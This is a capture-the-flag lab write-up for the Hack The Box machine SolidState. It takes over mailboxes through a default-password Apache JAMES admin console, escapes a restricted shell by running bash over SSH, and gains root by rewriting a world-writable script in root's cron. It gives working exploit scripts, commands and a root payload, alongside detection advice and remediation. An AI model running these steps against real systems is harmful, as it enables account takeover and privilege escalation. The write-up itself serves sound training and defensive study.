Skip to content
All writeups

HTB: SolidState

A default login on the Apache JAMES 2.3.2 administration console resets every mailbox password, a mailed SSH password gives a restricted shell that a non-login command walks out of, and a world-writable script in root's crontab finishes the job.

Published
Reading time
23 min
Difficulty
medium
Target
Linux (SolidState)

htblinuxapache-jamesdefault-credentialsrbashcron

Overview

SolidState is a medium-rated Debian 9 machine on a 32-bit kernel. It exposes SSH, a static Apache site, and four ports belonging to one Java process: Apache JAMES 2.3.2, a mail server offering SMTP, POP3, NNTP and a remote administration console.

The chain has three privilege boundaries and no memory corruption anywhere in it. The administration console still accepts its shipped login, and one of its commands sets any user’s mailbox password. With every mailbox readable, a welcome mail hands over an SSH password for a junior analyst. Her account is locked into rbash, but the lock is applied in a file that only a login shell reads. From an ordinary shell, the single world-writable file on the root filesystem turns out to be a Python script that root’s crontab runs every three minutes.

Two instances were used. Recon ran against 10.129.101.83; the session was interrupted, the instance expired, and everything from the console onward ran against a fresh one at 10.129.101.85. Addresses in the commands below are the ones actually sent.

Reconnaissance

A default-script scan of the top thousand ports, with a full-range sweep running behind it:

nmap -p- --min-rate 2000 -oN scans/02-full.nmap 10.129.101.83 >/dev/null 2>&1 &
nmap -sC -sV -oN scans/01-top1000.nmap 10.129.101.83
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
[...]
25/tcp  open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
110/tcp open  pop3?
119/tcp open  nntp?

The full sweep added one port:

4555/tcp open  rsip

Three mail ports with question marks and no version: nmap’s probes time out when a service is slow to speak, so I pulled banners by hand with a short wait, got nothing in eight seconds, and tried again with a long one:

for p in 25 110 119; do echo "### $p"; (sleep 25; echo QUIT) | nc -w 30 10.129.101.83 $p 2>&1 | head -5 & done
echo "### 4555 root/root"
(sleep 20; echo root; sleep 3; echo root; sleep 3; echo listusers; sleep 4; echo quit) | nc -w 40 10.129.101.83 4555 2>&1 | head -30
wait
# [...] the same line went on to fetch port 80 with curl

The three mail probes run in the background, so their replies arrive out of order and after the labels. The output up to the port 80 section, complete:

### 25
### 110
### 119
### 4555 root/root
200 solidstate NNTP Service Ready, posting permitted
205 closing connection
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
Password:
Welcome root. HELP for a list of commands
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin
Bye
220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Mon, 23 Nov 2026 13:58:09 -0500 (EST)
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
### 80
[...]

Only NNTP shows a reply to the QUIT (205 closing connection); the SMTP and POP3 banners arrived at the edge of the 30-second window and head -5 had nothing further to print.

Every JAMES banner took twenty seconds or more to arrive, which is why the version scan saw nothing. Anything with a default ten-second timeout will report these ports as dead.

The same loop sent root / root to port 4555, because that is the login JAMES 2.3 ships with in config.xml, and it worked on the first attempt. Five mail accounts exist.

Port 80 was closed during both scans and open ten minutes later: Apache starts late in this machine’s boot. It serves a three-page static template (index, about, services). Content discovery with raft-small-words.txt and the extensions html,php,txt found only those pages, images/, assets/, README.txt and LICENSE.txt; the run was stopped before the wordlist finished, once the box was rooted. The web server plays no part in the chain.

Attack Surface Analysis

JAMES administration console: default credentials (CWE-1392)

Port 4555 is the Remote Administration Tool. It speaks a line protocol with no transport encryption, is bound to all interfaces, and accepted root / root. Its command set, read on the second instance:

Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

No command reads a password or a message, but setpassword replaces one without asking for the old value. Administrative control of the mail server is therefore full read access to every mailbox, one POP3 login away.

Credentials sent by mail (CWE-312)

Whatever was mailed stays in the mailbox until the user deletes it. An onboarding mail with a password in it is a credential stored in clear text with the mail server as its access control.

Restricted shell applied in the profile (CWE-693)

mindy has /bin/rbash as her shell and a ~/bin with three symlinks. The PATH that makes this meaningful is assigned in ~/.bash_profile, a file I read only after getting out of the restriction (it is the first thing the enumeration script in Phase 3 prints).

Root cron job running a world-writable script (CWE-732)

/opt/tmp.py is owned by root with mode 0777 and is executed by root on a timer.

A fifth item deserves a mention and no more: JAMES 2.3.2 has a public remote command execution issue (CVE-2015-7611), in which a user created with a path-traversal name causes mail to be written outside the mail store. It needs the same console access and a user logging in to trigger it. I did not run it; the mailbox route was shorter. Since its payload runs as whichever account logs in next, it would also arrive as a user here, not as root.

Vulnerability Analysis

The console. JAMES 2.3 defines the administrator account in its configuration file with root as both name and password, and expects the operator to change it. Nothing forces the change and nothing warns at startup. The process list later showed the whole server running as root (/bin/sh /opt/james-2.3.2/bin/run.sh, then the JVM), so the console is a root-owned service with a published password.

The restricted shell. rbash enforces a fixed set of rules: no cd, no command names containing a slash, no output redirection, no changing PATH. None of those stop a user from running a program that is already on PATH. The restriction only bites when PATH points at a directory of harmless commands, and here that assignment lives in the profile (output of cat ~/.bash_profile, run from the escaped shell in Phase 3):

# ~/.bash_profile

umask 007
PATH="/home/mindy/bin"
[...]

Bash reads .bash_profile for login shells. When sshd is given a command it runs rbash -c '<command>', which is not a login shell, so the profile is never read and PATH keeps the system default. bash is on that default path, has no slash in its name, and is not restricted.

The cron job. The script exists to empty /tmp:

#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

(The file on the box is 105 bytes and ends with one more empty line than the block above.) The code is harmless. The permissions are the flaw: any local user can replace what root will execute. The crontab entry (read after root, shown later) calls it as python /opt/tmp.py, so not even the execute bit matters.

Exploitation

Phase 1: console to mailboxes

The console is slow and prompt-driven, so I drove it with a socket script that waits for each prompt:

import socket, sys
host, pw = sys.argv[1], sys.argv[2]
s = socket.create_connection((host, 4555), timeout=90)
f = s.makefile("rwb", buffering=0)
def until(marker):
    buf = b""
    while marker not in buf:
        c = f.read(1)
        if not c: break
        buf += c
    sys.stdout.write(buf.decode(errors="replace")); sys.stdout.flush()
def send(line):
    print(f">>> {line}"); f.write(line.encode() + b"\r\n")
until(b"Login id:"); send("root")
until(b"Password:"); send("root")
until(b"commands")
for u in sys.argv[3:]:
    send(f"setpassword {u} {pw}"); until(b"reset")
send("quit"); until(b"Bye")

The first version waited for two newlines after each command and hung after the second account, because only the first reply is preceded by a blank line. james and thomas had been reset by then; waiting for the word reset fixed it and the second run covered the other three:

python3 /work/artifacts/05-james-setpassword.py 10.129.101.85 Lab-9f3k2x john mindy mailadmin
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:>>> root

Password:>>> root

Welcome root. HELP for a list of commands>>> setpassword john Lab-9f3k2x

Password for john reset>>> setpassword mindy Lab-9f3k2x

Password for mindy reset>>> setpassword mailadmin Lab-9f3k2x

Password for mailadmin reset>>> quit

Bye

Resetting passwords locks the real owners out: on a live engagement that is cleared with the client first. There was nothing to save beforehand, since the console shows no hash.

Reading the mail is a dozen lines of poplib with a long timeout:

import poplib, sys
host, pw = sys.argv[1], sys.argv[2]
for user in sys.argv[3:]:
    print(f"##### {user}")
    try:
        p = poplib.POP3(host, 110, timeout=90)
        p.user(user); p.pass_(pw)
        n = len(p.list()[1])
        print(f"messages: {n}")
        for i in range(1, n + 1):
            print(f"--- {user} message {i}")
            print(b"\n".join(p.retr(i)[1]).decode(errors="replace"))
        p.quit()
    except Exception as e:
        print(f"ERROR {e!r}")
python3 /work/artifacts/05-pop3-read.py 10.129.101.85 Lab-9f3k2x john mindy mailadmin

The first run of this reader, made straight after the failed reset, had already shown messages: 0 for james and thomas and -ERR Authentication failed. for the three accounts not yet reset: a useful negative control, since it shows the new password is what opens a mailbox. mailadmin is empty too. john has one message (headers trimmed), which explains the next obstacle before I met it:

Subject: New Hires access
John, 

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

mindy has two. The second, headers trimmed:

Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Phase 2: SSH as mindy and out of rbash

The first login passed a command, mainly to see what “restricted” meant. The string below is what reached ssh inside the tooling container: on the laptop it was held in a variable assigned in single quotes, so $SHELL, $PATH and $0 were expanded by the shell on the target and by nothing before it.

sshpass -f /work/artifacts/mindy.pass ssh [...] mindy@10.129.101.85 'echo SHELL=$SHELL; echo PATH=$PATH; echo $0; ls -la; ls -la bin; id; whoami; cd /; cat /etc/passwd | grep sh$'
SHELL=/bin/rbash
PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
rbash
[...]
lrwxrwxrwx 1 root  root     8 Aug 22  2017 cat -> /bin/cat
lrwxrwxrwx 1 root  root     8 Aug 22  2017 env -> /bin/env
lrwxrwxrwx 1 root  root     7 Aug 22  2017 ls -> /bin/ls
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
mindy
root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:james:/home/james/:/bin/bash
mindy:x:1001:1001:mindy:/home/mindy:/bin/rbash
rbash: line 0: cd: restricted

The shell is rbash and cd is refused, yet id and grep ran, and PATH is the system default. That is the whole escape. For contrast, six probes fed to a login shell (no command given to ssh, input on stdin). The input file:

echo PATH=$PATH
id
ls
cd /
/bin/ls
bash
sshpass -f /work/artifacts/mindy.pass ssh [...] mindy@10.129.101.85 < /work/artifacts/20-login-shell.in
[...] (login banner)
PATH=/home/mindy/bin
-rbash: line 2: id: command not found
bin
user.txt
-rbash: line 4: cd: restricted
-rbash: line 5: /bin/ls: restricted: cannot specify `/' in command names
-rbash: line 6: bash: command not found

All six probes were refused or confined there. That is not proof the login shell is escape-proof: ~/bin contains env, and env <program> passes a path as an argument, which rbash does not police. I did not try it, and the link points at /bin/env, which may not exist on Debian 9 (the binary normally lives in /usr/bin). With the non-login route open there was no reason to find out.

Every later step is therefore the same shape, a script on stdin to a bash started by name:

sshpass -f /work/artifacts/mindy.pass ssh [...] mindy@10.129.101.85 bash < /work/artifacts/10-enum.sh

The user flag was read with a plain cat user.txt as the command.

rbash did catch me once, after root, when I tried to restore a file with a redirect in the command given to ssh itself:

rbash: /opt/tmp.py: restricted: cannot redirect output

Wrapping the command in bash -c '...' moved the redirect into the child.

Phase 3: mindy to root

The enumeration script, 10-enum.sh in the command above, in full:

echo "### profile"; cat ~/.bash_profile
echo "### uname"; uname -a; cat /etc/os-release | head -3
echo "### sudo"; sudo -n -l 2>&1 | head -5
echo "### suid"; find / -xdev -perm -4000 -type f 2>/dev/null
echo "### world-writable files outside proc/sys/dev"; find / -xdev -type f -perm -o+w -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null | head -30
echo "### /opt"; ls -la /opt
echo "### cron"; ls -la /etc/cron* 2>/dev/null; cat /etc/crontab
echo "### root and james procs"; ps -eo user,pid,lstart,cmd | grep -E '^(root|james)' | grep -v '\[' | head -40
echo "### listening"; ss -tlnp 2>/dev/null | head -20

The relevant parts of its output:

Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686 GNU/Linux
[...]
bash: line 3: sudo: command not found
[...]
### world-writable files outside proc/sys/dev
/opt/tmp.py
### /opt
[...]
drwxr-xr-x 11 root root 4096 Apr 26  2021 james-2.3.2
-rwxrwxrwx  1 root root  105 Aug 22  2017 tmp.py

One world-writable file on the whole root filesystem, and it is a script. /etc/crontab and /etc/cron.d do not mention it, and root’s own crontab is not readable. The timestamps argued for a scheduler anyway (cat /opt/tmp.py; date; stat /opt/tmp.py; ls -la /tmp, sent the same way):

Mon Nov 23 14:19:53 EST 2026
[...]
Access: 2026-11-23 14:12:01.887998061 -0500
Modify: 2017-08-22 13:32:13.978532482 -0400

The box booted at 14:10:51 (the start time of PID 1 in the process list). Something read the script seventy seconds later, one second past the minute. A default relatime mount refreshes an access time only when it is older than the modification time or more than a day old, so the first run after boot moved it and later runs would not. /tmp itself had a modification time of 14:18. pspy is the usual tool to confirm this and I had no 32-bit build to hand, so I let the payload be the proof and added a canary file in /tmp to watch the rm fire.

The replacement keeps the original behaviour and adds one line that writes evidence to a directory I can read:

#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
     os.system('(id; date; echo; crontab -l; echo; ls -la /root) > /dev/shm/r/root-proof.txt 2>&1; cp /root/root.txt /dev/shm/r/root.txt; chmod 644 /dev/shm/r/root-proof.txt /dev/shm/r/root.txt; touch /dev/shm/r/done')
except:
     sys.exit()

The planting script backs up the original, compiles the new file with the box’s own interpreter before installing it, and creates the canary:

set -e
mkdir -p /dev/shm/r
cp -p /opt/tmp.py /dev/shm/r/tmp.py.orig
cat > /dev/shm/r/tmp.py.new <<'PY'
[...] the six lines above
PY
python -c "f='/dev/shm/r/tmp.py.new'; compile(open(f).read(), f, 'exec'); print('syntax ok')"
python --version 2>&1
cat /dev/shm/r/tmp.py.new > /opt/tmp.py
touch /tmp/canary-mindy
date; ls -la /opt/tmp.py /tmp/canary-mindy /dev/shm/r; md5sum /opt/tmp.py /dev/shm/r/tmp.py.new /dev/shm/r/tmp.py.orig
syntax ok
Python 2.7.13
Mon Nov 23 14:20:27 EST 2026
-rwxrwxrwx 1 root  root  323 Nov 23 14:20 /opt/tmp.py
-rw-r--r-- 1 mindy mindy   0 Nov 23 14:20 /tmp/canary-mindy
[...]

Then a single blocking wait, again a script on stdin to bash:

timeout 600 bash -c 'while [ ! -e /dev/shm/r/done ]; do sleep 5; done'; echo "waiter rc=$?"
date; ls -la --time-style=full-iso /dev/shm/r /tmp; stat -c '%x %n' /opt/tmp.py
echo "### root-proof.txt"; cat /dev/shm/r/root-proof.txt

The marker never appeared. Seven minutes in, one look at the box (date; ls -la --time-style=full-iso /dev/shm/r /tmp; [...]) showed why:

ls: cannot access '/dev/shm/r': No such file or directory
Mon Nov 23 14:28:10 EST 2026
/tmp:
total 32
drwxrwxrwt  7 root       root       4096 2026-11-23 14:27:01.979972920 -0500 .
[...]

The canary was gone and /tmp had changed at 14:27:01, so the job was running on a three-minute cycle (14:12, 14:18, 14:27 all fit). But my whole directory in /dev/shm had been deleted, backup included. The likely cause is systemd-logind: with RemoveIPC enabled it removes a user’s shared memory files when her last session closes, and each of my SSH commands was a session that had closed. I did not watch the deletion happen, so this is an inference from the setting, which the second waiter printed (grep -i removeipc /etc/systemd/logind.conf; systemd --version | head -1). It is commented out, leaving the systemd 232 default of yes:

### logind
#RemoveIPC=yes
systemd 232

Eight minutes lost to a habit. The second attempt changed nothing but the path, to /var/tmp/r, in the payload, the planting script (minus the backup and listing lines) and the waiter. It landed on the next cycle:

waiter rc=0
Mon Nov 23 14:30:06 EST 2026
[...]
-rw-r--r--  1 root  root     0 2026-11-23 14:30:02.023967891 -0500 done
-rw-r--r--  1 root  root  1716 2026-11-23 14:30:02.019967891 -0500 root-proof.txt
-rw-r--r--  1 root  root    33 2026-11-23 14:30:02.023967891 -0500 root.txt
[...]
### root-proof.txt
uid=0(root) gid=0(root) groups=0(root)
Mon Nov 23 14:30:02 EST 2026
[...]
# m h  dom mon dow   command
*/3 * * * * python /opt/tmp.py

Command execution as root, 42 minutes after the first scan.

Post-Exploitation

The root flag was copied out of /var/tmp/r, the directory removed, and /opt/tmp.py restored. Because the on-box backup had been deleted with the rest of /dev/shm/r, the restore used a local copy rebuilt from the first cat of the file, checked against the MD5 the backup had printed before it vanished, and checked again on the box after writing: 105 bytes, same hash.

Root’s crontab holds the single entry shown above.

The five mailbox passwords were left at the value I set.

Defensive Analysis

Console login. I did not read the JAMES logs, so what follows names where to look and claims no log line. JAMES 2.3 keeps per-component logs under apps/james/logs/ in its tree, the remote manager among them. Three console logins from one external address in five minutes, with two setpassword commands in one session and three in the next, is the event to alert on; whether 2.3.2 records the command or only the connection is the first thing to verify. Independent of the application, a firewall log entry for any non-management source reaching 4555 is enough.

Mailbox access. Eight POP3 logins from that address in about four minutes: five on the first pass, three of which failed, then three successes. The failures are the better signal, since they name accounts whose passwords had not been changed yet. The POP3 component log in the same directory is the place to check for them, with the same caveat.

SSH. A password login for mindy from a new address is weak signal alone. An rbash user whose session spawns bash, find / -perm -4000 and python is not; an auditd execve rule keyed on her UID records it.

Cron. File integrity monitoring on /opt/tmp.py (AIDE, or an auditd watch with -p wa) catches the write at once. A weekly sweep for world-writable files owned by root would have removed the problem before anyone found it.

Remediation

  1. Change the JAMES administrator password, and bind the console to loopback or a management network. Better, retire 2.3.2: it is long out of support and carries a known remote execution flaw.
  2. Run JAMES as a dedicated unprivileged user. It needs low ports, which a capability or a port redirect provides without root.
  3. Do not mail credentials; hand a first password over out of band. Forcing a change at first login (chage -d 0 mindy) and an expiry on the temporary one (chage -M) do not stop someone who reads the mail first, as happened here. They shorten the window, and they turn a quiet theft into a lockout the real user will report.
  4. If a restricted account is needed, do not build it on a profile. A ForceCommand in a Match User block does remove the route used here, since the client’s bash is never run, but the forced command itself starts as $SHELL -c, the same non-login rbash with the default PATH, so it has to be a slash-free name that sets the restriction up again. The design that does not depend on shell start-up files is a ChrootDirectory holding only the permitted binaries. Either way ~/bin should be root-owned (the first listing shows the directory belongs to mindy; the profile is root’s, on a line trimmed from that block) and env should come out of the allowed set. None of this was tested on the box. The test is a command that must fail: ssh user@host bash and ssh user@host /bin/ls /etc.
  5. chmod 755 /opt/tmp.py, or drop the script: systemd-tmpfiles already cleans /tmp on Debian 9. Any file a root job executes must be writable by root alone.

Key Takeaways

  • A silent port is not a dead port. When nmap prints a service name with a question mark, connect by hand and wait longer than a scanner would.
  • An administrative interface that can set a password can read whatever that password protects.
  • rbash restricts the shell it is, not the shells it can start. The test is one command: ssh user@host 'echo $PATH'. If the answer is the system default, the restriction is decorative.
  • Treat /dev/shm as per-session storage for an ordinary user on a systemd host. Files I left there from a one-shot SSH command were gone minutes later, with RemoveIPC at its default the likely reason. Use /var/tmp for anything that must outlive the connection.